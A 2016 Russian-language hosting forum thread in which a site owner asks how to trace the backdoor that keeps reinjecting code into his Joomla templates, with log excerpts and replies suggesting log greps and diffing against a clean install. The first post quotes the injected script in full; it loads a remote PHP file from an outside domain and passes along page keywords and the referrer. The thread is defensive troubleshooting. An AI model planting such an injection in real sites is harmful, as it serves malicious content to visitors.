• UAH
  • USD
  • RUB
  • EUR
  • +38(044) 392-74-33  Киев
  • +38(057) 728-39-00  Харьков
  • +38(056) 794-38-31  Днепропетровск
  • +38(062) 210-24-93  Донецк
  • +38(032) 229-58-93  Львов
  • +38(048) 738-57-70  Одесса
  • +38(093) 449-04-21  Life
  • +38(067) 400-88-44  Киевстар
  • +38(095) 007-72-35  MTC
  • +1(888)393-24-51  USA, Toll free
  • +44(131)507-01-14  Great Britain
  • +7(499) 348-28-61  Москва

VPS. Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы? Дата фалов остается неизменной.

Форумы VPS Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы? Дата фалов остается неизменной.
toxi
30.06.2016 14:15
хостинг: есть
домен: есть
Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы? Дата фалов остается неизменной.
Добрый день.
Как по логам apache/nginx найти "дырку"/Shell на сайте, через которую постоянно модифицируют файлы шаблона index.php?
Дата фалов остается неизменной, уже проверял.
Сайт работает на Joomla. Версия была 3.2.х - обновил до 3.5.1 с заменой всех файлов движка и самописного шаблона. Шаблон писал сам. Вчера все файлы восстановил, пароли на ФПТ и админку сайта поменял. Сегодня с утра обнаруживаю снова этот же код во всех шаблонах, даже те, что не используются сайтом. Другие сайты на Joomla работают без проблем в других папках.

Добавляется код такого содержания до тега </head> и адрес сайта всегда разный:
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=SWBB8&c_utm='+encodeURIComponent('http://ktm-pohlenz.de/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

На просторах Интернета нашел подсказку, хоть и не совсем по-стандартам - удалить закрывающий тег </head> и робот-вирус не сможет найти закрывающий тег и соответственно прописать вредоносный код.

В логах error.log от Апача часто нахожу такие записи:
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Strict Standards:  Only variables should be assigned by reference in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 15
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 41
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker_hover in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 42
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Use of undefined constant MOD_JT - assumed 'MOD_JT' in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 83
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Strict Standards:  Only variables should be assigned by reference in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 15
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 41
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Undefined variable: jt_ticker_hover in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/tmpl/default.php on line 42
[Thu Jun 30 01:09:27 2016] [error] [client 95.108.129.196] PHP Notice:  Use of undefined constant MOD_JT - assumed 'MOD_JT' in /home/sites/ccs.zt.ua/www/modules/mod_jt_bxslider_images/mod_jt_bxslider_images.php on line 83

...............

[Thu Jun 30 01:10:01 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:15:03 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:20:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:25:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:30:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:35:02 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:40:01 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:45:01 2016] [error] [client 193.107.74.135] PHP Strict Standards:  Declaration of JCacheControllerView::get() should be compatible with JCacheController::get($id, $group = NULL) in /home/sites/domzdorovya.net/www/libraries/joomla/cache/controller/view.php on line 137
[Thu Jun 30 01:45:32 2016] [error] [client 151.80.31.105] File does not exist: /home/sites/ccs.zt.ua/www/robots.txt

............

[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/ntu-net-ua/support/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/ntu-net-ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 176.116.218.96] script '/home/sites/ccs.zt.ua/mail/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 192.168.77.100] script '/home/sites/ccs.zt.ua/report/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:19 2016] [error] [client 192.168.77.100] script '/home/sites/ccs.zt.ua/report/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:23 2016] [error] [client 176.116.218.96] script '/home/sites/ntsk.kz/mail/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:25 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/mail/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:28 2016] [error] [client 176.116.218.96] script '/home/ntu-net-ua/dealer/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:28 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/dev/logo_img.php' not found or unable to stat
[Thu Jun 30 02:49:28 2016] [error] [client 176.116.218.96] script '/home/sites/ntu.net.ua/dotproject/logo_img.php' not found or unable to stat


У меня никогда не было файла logo_img.php ни на одном из сайтов.
Домен domzdorovya.net давно уже не работает, но робот-вирус опрашивает файлы.
ZimbalisT
30.06.2016 14:33
хостинг: есть
домен: есть
Добавление кода - это вероятно результат работы другого вредоносного файла.

Вот хорошая статься по алгоритму поиска Как узнать, что ваш PHP сайт был взломан / Хабрахабр
eugen
30.06.2016 14:51
хостинг: есть
домен: есть
Обычно в первую очередь имеет смысл смотреть на POST запросы, например так:

grep POST access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head


Это в 99% случаев даст результат, если сайт заражается через дырку в самом сайте. Если ничего подозрительного не покажет, возможно на самом vps есть троян или бэкдор.
toxi
30.06.2016 16:04
хостинг: есть
домен: есть
Это в 99% случаев даст результат, если сайт заражается через дырку в самом сайте. Если ничего подозрительного не покажет, возможно на самом vps есть троян или бэкдор. © eugen

Спасибо. Воспользовался командой: diff -r ./_jos/ www/ которая показала различия чистой оригинальной Джумлы с той, которая заражена.
Нашел несколько php-файлов в тех местах, в которых их не должно быть, а так же нашел два файла, которые содержат eval, POST, GET, и зашифрованный код. Удалил все найденные файлы. Посмотрим, как сайт будет вести себя дальше :)

По поводу зараженности сервера, думаю, что все сайты заразились бы. В моем случае заражен был только один сайт из 5, который крутится на сервере :)
ZimbalisT
30.06.2016 16:52
хостинг: есть
домен: есть
Можно было еще посмотреть даты и время изменения зараженных файлов и проверить какие POST запросы в это время отправлялись к сайту чтобы понять, как вирус проникает на сайт.
toxi
30.06.2016 17:22
хостинг: есть
домен: есть
У меня есть бекап зараженного сайта дома. Проверю. А по поводу POST-запросов, в логах не указаны передаваемые данные, светится только файл, который принимает данные. А еще обнаружил Perl-скрипт, который подключается к сокету и работает как Демон принимая и выполняя код злоумышленников, насколько я понял из структуры файла. Маскируется он под css файл ) Но я его вручную запустил, то он не сработал, просто выдал код скрипта в браузер.
Участвовать в общении на этом форуме могут только
зарегистрированные пользователи.

Если вы уже зарегистрированы Вам необходимо войти на форум.

Тема закрыта по истечению срока давности.
Горячая линия
(044)
392 74 33
другие города